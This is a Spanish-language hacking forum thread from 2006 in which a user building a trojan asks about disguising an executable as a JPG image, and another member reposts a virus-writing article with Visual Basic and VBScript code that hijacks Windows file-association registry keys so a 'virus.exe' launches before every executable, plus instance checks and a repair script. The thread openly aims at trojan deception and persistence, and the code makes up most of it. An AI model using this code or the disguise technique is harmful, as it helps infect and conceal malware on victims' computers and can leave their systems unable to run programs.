elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado:


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP)
| | | |-+  Programación Visual Basic (Moderadores: LeandroA, seba123neo)
| | | | |-+  exe-jpg
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: exe-jpg  (Leído 1,231 veces)
xXnewbieXx

Desconectado Desconectado

Mensajes: 68



Ver Perfil
exe-jpg
« en: 19 Marzo 2006, 10:56 am »

hola, antes k na no sabia si publicar esto en el foro d trojan o en este. lo hago aki, pq pese a k el proyecto q estoy desarrollando es un trojan no es una pregunta de código ni una duda sobre como hacer 1 tojan sino la siguiente.
(y en caso d akivokarme perdonen) :P

he creado un .exe con un icono exactamente = a un jpq y k su extensión está conforme al peso k tendría 1 imagen en ese formato, dps lo comprimo y lo paso a .rar o .zip y con el code q puso KiZaR (si no recuerdo mal) lo uno a una imagen ... y mi duda es... :huh:

¿¿hay otra forma d ver k c trata d un exe aparte de darle encima dl iconito en propiedades y ver su extensión?? :-\

saludos! gracias y felicitaciones x este gran foro!
 :P( es k toy enganxado a la programacion ) :P  ;D


En línea

Hardware: Lo que golpeas. Software: La causa

Error 943 - El sistema esta funcionando demasiado bien, se caerá para seguir con la rutina...
Hendrix
In The Kernel Land
Colaborador
***
Desconectado Desconectado

Mensajes: 2.276



Ver Perfil WWW
Re: exe-jpg
« Respuesta #1 en: 19 Marzo 2006, 11:09 am »

Si lo editas kon un editor hexadecimal los .exe's siempre empiezan por MZ, es una propiedad que tienen los ejekutables.

Ahora se me viene a la kabeza un "proyecto", algo que mirara si los .jpg empiezan por MZ, si empiezan por MZ que se ejekuten komo .exe, sino, komo .jpg, seria posible hacer una aplikacion que haga esto???? Me refiero a que modifike el registro de windows para que esto se pueda hacer, vi un texto de MachineDraemon que exponia la "interceptacion de ejecutables", podriamos aplikar algo parecido pero kon esta idea....

Weno, Salu2

Hendrix



En línea

"Todos los días perdemos una docena de genios en el anonimato. Y se van. Y nadie sabe de ellos, de su historia, de su peripecia, de lo que han hecho, de sus angustias, de sus alegrías. Pero al menos una docena de genios se van todos los días sin que sepamos de ellos". - Juan Antonio Cebrián
Kizar


Desconectado Desconectado

Mensajes: 1.325


kizar_net


Ver Perfil
Re: exe-jpg
« Respuesta #2 en: 19 Marzo 2006, 12:05 pm »

Lei algo acerca de que el CMD no abre los archivos por la extension sino por el contenido, en ese caso da igual la extension que le pongamos a un archivo si es un exe se abrira como aplicacion... El caso es que hay que conseguir que lo abra con la consola.....

Salu2
En línea

Hendrix
In The Kernel Land
Colaborador
***
Desconectado Desconectado

Mensajes: 2.276



Ver Perfil WWW
Re: exe-jpg
« Respuesta #3 en: 19 Marzo 2006, 12:48 pm »

Esto creo que es facil....

En el texto de machinedraemon (recomiendo leerlo) dice esto:

Los archivos .txt en el registro, para ejekutarse kon el notepad (programa predefinido) esta esto:

"C:\Windows\notepad.exe", %1 (o algo parecido, ahora no me akuerdo).

El kaso es que se podria hacer esto:

"C:\Windows\cmd.exe" %1 y asi se abriria con el cmd...

Esto es una idea, si kieren puedo poner el texto de machine en este post...

Salu2

Hendrix

EDITADO:
------------

Articulo de MachineDramon:

(*) GEDZAC LABS 2004

Interceptación de Ejecutables:
-------------------------------

Primero veremos algo de lo que hace win al hacer doble click en un archivo
de cierta extensión, la accion que toma win esta determinada por valores en
el registro:
Veamos la diferencia entre la extensión .txt y un .exe en el registro:

txt:
----

HKEY_CLASSES_ROOT\txtfile\shell\open\command\(Predeterminado) =

C:\WINDOWS\NOTEPAD.EXE %1

exe:
----

HKEY_CLASSES_ROOT\exefile\shell\open\command\(Predeterminado) =

"%1" %*

Se podria decir que el valor de la clave es la linea de comando que ejecuta
win dependiendo del tipo de archivo, en este caso ejecuta notepad y %1 repre
senta la ruta y nombre del archivo al que le hicimos doble click, pos como
si ejecutaramos de una ventana ms-dos:

Notepad c:\text.txt

el valor de la extensión exe significa que cuando hagamos doble click sobre
un .exe win ejecutara la linea de comandos:

RutadelFileExe.exe


Entonces lo que debe hacer nuestro virus es al infectar modificar el regis-
tro de forma que al hacer doble click a un .exe se ejecute la linea de
comando:

%RutaDelVirus% RutadelFileExe.exe

luego leer nuestra linea de comando, y obtener RutadelFileExe.exe
ejecutar RutadelFileExe.exe (pos pa que se ejecute el .exe)

Luego comprobar que no estemos ejecutando ya, sino tendriamos una instancia
del virus por cada .exe ejecutado, si ya estamos ejecutandonos, ejecutamos
el exe y terminamos.

Presentaremos 2 codes uno usando las facilidades de vb y otro en vb pero
usando apis (con lo que sera más facil adaptarlo a otros lenguages).

Code 1
-------

a)Tenemos que hacer que estas llaves del reg queden asi, para poder inter-
ceptar .com .exe .pif .scr .bat .cmd

HKEY_CLASSES_ROOT\exefile\shell\open\command\(Predeterminado) =
C:\ruta\virus.exe "%1" %*

HKEY_CLASSES_ROOT\piffile\shell\open\command\(Predeterminado) =
C:\ruta\virus.exe "%1" %*

HKEY_CLASSES_ROOT\comfile\shell\open\command\(Predeterminado) =
C:\ruta\virus.exe "%1" %*

HKEY_CLASSES_ROOT\batfile\shell\open\command\(Predeterminado) =
C:\ruta\virus.exe "%1" %*

HKEY_CLASSES_ROOT\scrfile\shell\open\command\(Predeterminado) =
C:\ruta\virus.exe "%1" /S         ->Ojo aqui en los .scr es asi

HKEY_CLASSES_ROOT\cmdfile\shell\open\command\(Predeterminado) =
C:\ruta\virus.exe "%1" %*

Para eso podria ser:

Sub Intercepta()
On Error Resume Next
Set ws = CreateObject("WScript.Shell")

ws.RegWrite "HKEY_CLASSES_ROOT\exefile\shell\open\command\", "C:\ruta\virus.exe" & " " & Chr(34) & "%1" & Chr(34) & " %*"
ws.RegWrite "HKEY_CLASSES_ROOT\batfile\shell\open\command\", "C:\ruta\virus.exe" & " " & Chr(34) & "%1" & Chr(34) & " %*"
ws.RegWrite "HKEY_CLASSES_ROOT\comfile\shell\open\command\", "C:\ruta\virus.exe" & " " & Chr(34) & "%1" & Chr(34) & " %*"
ws.RegWrite "HKEY_CLASSES_ROOT\piffile\shell\open\command\", "C:\ruta\virus.exe" & " " & Chr(34) & "%1" & Chr(34) & " %*"
ws.RegWrite "HKEY_CLASSES_ROOT\cmdfile\shell\open\command\", "C:\ruta\virus.exe" & " " & Chr(34) & "%1" & Chr(34) & " %*"
ws.RegWrite "HKEY_CLASSES_ROOT\scrfile\shell\open\command\", "C:\ruta\virus.exe" & " " & Chr(34) & "%1" & Chr(34) & " /S"

End Sub


b)Ahora tenemos que leer nuestra linea de comandos, en vb es facil usan-
do Command$ ,pos esto tiene que ir al comienzo del virus:

'Si nuestra linea de comandos no esta vacia, la ejecutamos con shell
If (Command$ <> "") Then id = Shell(Command$, vbNormalFocus)


c)Verificamos si ya estamos en ejecucion, esto en vb tambien es facil:

If App.PrevInstance Then
End
End If


Code 2:
-------

a)Escribir en el reg, declaramos las apis y constantes que usaremos, aqui
como Private, pero eso dependera de como y donde las quieran usar

Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Private Declare Function RegCreateKeyEx Lib "advapi32.dll" Alias "RegCreateKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal Reserved As Long, ByVal lpClass As String, ByVal dwOptions As Long, ByVal samDesired As Long, ByVal lpSecurityAttributes As Long, phkResult As Long, lpdwDisposition As Long) As Long

Private Const REG_SZ = 1
Private Const REG_DWORD = 4

Private Const KEY_ALL_ACCESS = &H3F
Private Const REG_OPTION_NON_VOLATILE = 0

Private Const HKEY_CLASSES_ROOT As Long = &H80000000
Private Const HKEY_CURRENT_USER As Long = &H80000001
Private Const HKEY_LOCAL_MACHINE As Long = &H80000002

Private Const KEY_QUERY_VALUE As Long = &H1


Sub Intercepta()
On Error Resume Next

'Usamos el sub Rw pa escribir en el reg usando la api
Rw "exefile\shell\open\command\", "", "C:\ruta\virus.exe" & " " & Chr(34) & "%1" & Chr(34) & " %*", 1, 1
Rw "batfile\shell\open\command\", "", "C:\ruta\virus.exe" & " " & Chr(34) & "%1" & Chr(34) & " %*", 1, 1
Rw "comfile\shell\open\command\", "", "C:\ruta\virus.exe" & " " & Chr(34) & "%1" & Chr(34) & " %*", 1, 1
Rw "piffile\shell\open\command\", "", "C:\ruta\virus.exe" & " " & Chr(34) & "%1" & Chr(34) & " %*", 1, 1
Rw "cmdfile\shell\open\command\", "", "C:\ruta\virus.exe" & " " & Chr(34) & "%1" & Chr(34) & " %*", 1, 1
Rw "scrfile\shell\open\command\", "", "C:\ruta\virus.exe" & " " & Chr(34) & "%1" & Chr(34) & " /S", 1, 1

End Sub

'Este sub usa la api pa escribir en el reg, se me hace dificil explicarlo
'nose si estas apis son dificiles o yo me toy complicando la vida,
'Sub Rw donde:
'sKey es la ruta parcial de la llave que queremos escribir
'nKey es el nombre de la llave que escribiremos
'vKey es el valor de la llave
'm0 es 1 2 o 3 dependiendo de en cual llave raiz queremos escribir HKEY_CLASSES_ROOT
'HKEY_CURRENT_USER o HKEY_LOCAL_MACHINE respectivamente
'm1 es 1 o 2 si queremos escribir un valor de cadena o dword respectivamente
'Por ejemplo si queremos escribir
'HKEY_LOCAL_MACHINE\Software\Microsoft\llave   =  Valor Cadena
'Tendriamos que llamarlo de esta forma:
'
'Rw "Software\Microsoft","llave","Valor",3,1

Sub Rw(sKey, nKey, vKey As Variant, m0, m1)
On Error Resume Next
'Declaramos las vars
Dim RK As Long, l As Long, hKey As Long

'vemos que valor tiene m0 pa igualar RK al valor de la constante que corres-
'ponda, porque a la api hay que pasarle en cual llave raiz queremos escribir
'en forma de un valor long
Select Case m0
Case 1
RK = HKEY_CLASSES_ROOT
Case 2
RK = HKEY_CURRENT_USER
Case 3
RK = HKEY_LOCAL_MACHINE
End Select

'Usamos RegCreateKeyEx porque si no existe la llave la crea y si existe la
'abre para poder escribir, le pasamos RK, la ruta parcial de la llave, luego
'un 0 (que no se bien pa que es), luego una cadena nula,luego la constante
'REG_OPTION_NON_VOLATILE para que la informacion sea no volatil, osea se
'conserve despues de reiniciar la pc, luego KEY_ALL_ACCESS para tener acceso
'total a la llave que estamos creando o abriendo, luego pasamos 0 aunque teo-
'ricamente se deberia pasar una var tipo SECURITY_ATTRIBUTES, pero la seguridad
'del reg no nos interesa,luego la var que va a contener el handle de la
'llave que abrimos o creamos, usaremos este handle para identificar nuestra
'llave.
'el ultimo valor es un long que indica si la llave fue creada o ya existia
'y solo la abrimos
l = RegCreateKeyEx(RK, sKey, 0&, vbNullString, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, 0&, hKey, l)

'Aqui vemos que valor pasamos en m1, para saber que escribiremos si una
'cadena o un dword
Select Case m1

'Si 1 entons escribimos cadena
Case 1
'Igualamos una var string al valor del argumento vKey convertido a string
'con CStr, porque no pasamos directamente el argumento?, porque el arg esta
'declarado como variant y la api requiere un valor string
Dim sVal As String
 sVal = CStr(vKey)

'Luego usamos RegSetValueEx para escribir el valor en la llave, le pasamos
'el handle que obtuvimos antes, el nombre de la llave donde escribira,
'un 0, el tipo de valor en este caso REG_SZ(valor cadena), el valor que
'tendra la llave lo pasamos por valor (ByVal), luego el tamaño del valor+1
 l = RegSetValueEx(hKey, nKey, 0&, REG_SZ, ByVal sVal, Len(sVal) + 1)

Si 2 entons escribimos dword
Case 2
'Igualamos una var long al valor del argumento vkey, en este caso la api
'requiere un valor long, indicamos con REG_DWORD que el valor sera un valor
'decimal o hexadecimal, y en el tamaño pasamos siempre 4, lo demas es igual
Dim lVal As Long
lVal = vKey
 l = RegSetValueEx(hKey, nKey, 0&, REG_DWORD, ByVal lVal, 4)
End Select

'Aqui cerramos la llave con RegCloseKey pasandole el handle
l = RegCloseKey(hKey)
End Sub

Pos que ya me desvie del tema, esto no trata de como escribir en el reg
Para profundizar más en el manejo del reg:
http://www16.brinkster.com/eduroam/api/default.asp?pag=cap10
http://www.cybercursos.net/cursos-online/foxpro/vfp_api6.htm
http://www.telecable.es/personales/jrubi/trucos/tip00084.htm


b)Leer la linea de comandos y ejecutarla, usaremos GetCommandline para leer
la linea de comandos y WinExec para ejecutarla

No usar la declaracion de la api GetCommandLine que viene en el visor de api
de vb6, porque la declara como string y debe declararla como long, lo que
hace que no funke en algunas versiones de win.

En un articulo de la mitosis puse el GetCommandline declarado como string
ser error

'Apis y constantes
Private Declare Function GetCommandLine Lib "kernel32" Alias "GetCommandLineA" () As Long
Private Declare Function lstrcpy Lib "kernel32" Alias "lstrcpyA" (ByVal lpString1 As String, ByVal lpString2 As Long) As Long
Private Declare Function lstrlen Lib "kernel32" Alias "lstrlenA" (ByVal lpString As Long) As Long

Private Declare Function WinExec Lib "kernel32" (ByVal lpCmdLine As String, ByVal nCmdShow As Long) As Long
Private Const SW_NORMAL = 1

'Declaramos las vars
Dim Gcl As Long, Gcs As String, Gc As Long

'llamamos a GetCommandline, que nos devuelve un valor long
Gcl = GetCommandLine()

'calculamos el tamaño de la variable con lstrlen
Gc = lstrlen(Gcl)

'Igualamos Gcs al tamaño de Gcl+1, rellenandola con chr(0) o nulls
Gcs = String$(Gc + 1, 0)

'copiamos el valor de Gcl a Gcs con lstrcpy y ya tenemos una string con
'la linea de comandos
lstrcpy Gcs, Gcl

'obtenemos tantos caracteres de la izquierda como sea el valor de Gc-1
'y desechamos lo demas
Gcs = Left$(Gcs, Gc - 1)

'Ahora si nuestra aplicacion se ejecuta sola Gcs sera igual a:
'
'"c:\ruta\virus.exe"
'
'sino sera igual a:
'
'c:\ruta\virus.exe "c:\ruta\fileexe.exe"
'
'entonces lo que necesitamos obtener es:
'
'c:\ruta\fileexe.exe
'
'y ejecutar el .exe

'Si nuestra linea de comandos contiene un espacio seguido de una comilla
'entonces hay algo que ejecutar
If InStr(Gcs, " " & Chr(34)) <> 0 Then

'si la linea de comandos no contiene "/" entonces es un .exe .bat .pif
'.com o .cmd
If InStr(Gcs, "/") = 0 Then

'obtenemos la ruta del programa a ejecutar
 Gcs = Mid$(Left$(Gcs, Gc - 1), InStr(Gcs, " " & Chr(34)) + 2)
 Gcs = Left$(Gcs, Len(Gcs) - 1)

'pero si contiene "/" es un .scr y debe ser ejecutado con el parametro
' /S
 Else

'obtenemos la ruta del programa a ejecutar y le agregamos el parametro
' /S
 Gcs = Mid$(Left$(Gcs, Gc - 1), InStr(Gcs, " " & Chr(34)) + 2)
 Gcs = Left$(Gcs, Len(Gcs) - 3) & " /S"
 End If

'ejecutamos la linea de comandos, indicando que el programa ejecutado
'se habra con su ventana en modo normal (SW_NORMAL)
Call WinExec(Gcs, SW_NORMAL)
End If


c)Verificar si estamos en ejecucion:
para saber si estamos en ejecucion vamos a crear un mutex la primera vez
que nos ejecutamos, luego las veces siguientes veces que nos ejecutemos
intentamos crearlo y si ya existe ya nos estamos ejecutando y nos dara
un error caracteristico y entonces terminamos la ejecucion.

'apis y constantes que usaremos
Private Declare Function CreateMutex Lib "kernel32" Alias "CreateMutexA" (ByRef lpMutexAttributes As SECURITY_ATTRIBUTES, ByVal bInitialOwner As Long, ByVal lpName As String) As Long
Private Type SECURITY_ATTRIBUTES
 nLength As Long
 lpSecurityDescriptor As Long
 bInheritHandle As Long
End Type
Private Const ERROR_ALREADY_EXISTS = 183&

On Error Resume Next
'declaramos las vars
Dim GMutex
Dim Mutex As SECURITY_ATTRIBUTES

'rellenamos la structura SECURITY_ATTRIBUTES
Mutex.lpSecurityDescriptor = 0
Mutex.nLength = Len(Mutex)
Mutex.bInheritHandle = 1

'Creamos el mutex GEDZAC, CreateMutex nos devuelve un handle en GMutex
GMutex = CreateMutex(Mutex, 1, "GEDZAC")

'Aqui vemos si ha ocurrido un error al llamar a CreateMutex, si es la primera
'vez que ejecutamos, no debe haber error, si lo hay y el error es igual a
'ERROR_ALREADY_EXISTS entonces el mutex ya existia lo que quiere decir que
'ya nos estamos ejecutando.
'Si ha habido error en las apis o que error fue lo averiguamos con la
'propiedad LastDllError del objeto Err, en otros lenguages podemos usar
'la api GetLastError()
'
'Private Declare Function GetLastError Lib "kernel32" Alias "GetLastError" () As Long
'
If (Err.LastDllError = ERROR_ALREADY_EXISTS) Then
End
End If

Nota: En Gmutex tenemos el handle del Mutex, si por alguna razon tenemos que
terminar la ejecucion o estamos probando el codigo, no olvidar
destruir el mutex al terminar el programa, con la api CloseHandle
porque si terminamos la ejecucion y dejamos el mutex, luego al volver a eje-
cutar el programa va a ver que todavia existe el mutex y pensara que ya se
esta ejecutando.

Private Declare Function CloseHandle Lib "kernel32" Alias "CloseHandle" (ByVal hObject As Long) As Long

Call CloseHandle(GMutex)


La ventaja de esta tecnica es que no aparecemos en el msconfig, ni nada de
eso, la desventaja es para el user, que una vez que elimine el virus, si no
arregla su reg, no va a poder ejecutar nada.

Como precaucion al probar esto, suponiendo que nos equivocamos en algo
y ya modificamos nuestro reg y no podemos ejecutar nada, ni el regedit pa
arreglarlo(ya me ha pasado), pos seria bueno tener a mano un .vbs que
arregle esto:

VBS pa reparar en caso de emergencia
-------------------------------------------------------------------------
On Error Resume Next
Set wsl = CreateObject("WScript.Shell")
s="@%1@ %*": s=replace(s,"@",chr(34))
s1="@%1@ /S": s1=replace(s1,"@",chr(34))
wsl.RegWrite "HKEY_CLASSES_ROOT\exefile\shell\open\command\",s
wsl.RegWrite "HKEY_CLASSES_ROOT\comfile\shell\open\command\",s
wsl.RegWrite "HKEY_CLASSES_ROOT\scrfile\shell\open\command\",s
wsl.RegWrite "HKEY_CLASSES_ROOT\piffile\shell\open\command\",s
wsl.RegWrite "HKEY_CLASSES_ROOT\cmdfile\shell\open\command\",s
wsl.RegWrite "HKEY_CLASSES_ROOT\batfile\shell\open\command\",s1
-------------------------------------------------------------------------

Aunque lo expuesto no es un code completo, sino fragmentos, ojala estas ideas
les hayan servido

(*) GEDZAC LABS 2004


« Última modificación: 19 Marzo 2006, 12:52 pm por Punk-rock » En línea

"Todos los días perdemos una docena de genios en el anonimato. Y se van. Y nadie sabe de ellos, de su historia, de su peripecia, de lo que han hecho, de sus angustias, de sus alegrías. Pero al menos una docena de genios se van todos los días sin que sepamos de ellos". - Juan Antonio Cebrián
xXnewbieXx

Desconectado Desconectado

Mensajes: 68



Ver Perfil
Re: exe-jpg
« Respuesta #4 en: 19 Marzo 2006, 13:21 pm »

 ;) gracias no sabia lo dl editor hexadecimal...
aunq los codecs q posteastes dps lo toy mirando con calma pq siempre acabo perdiendome en alguna linea :)... :P
En línea

Hardware: Lo que golpeas. Software: La causa

Error 943 - El sistema esta funcionando demasiado bien, se caerá para seguir con la rutina...
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines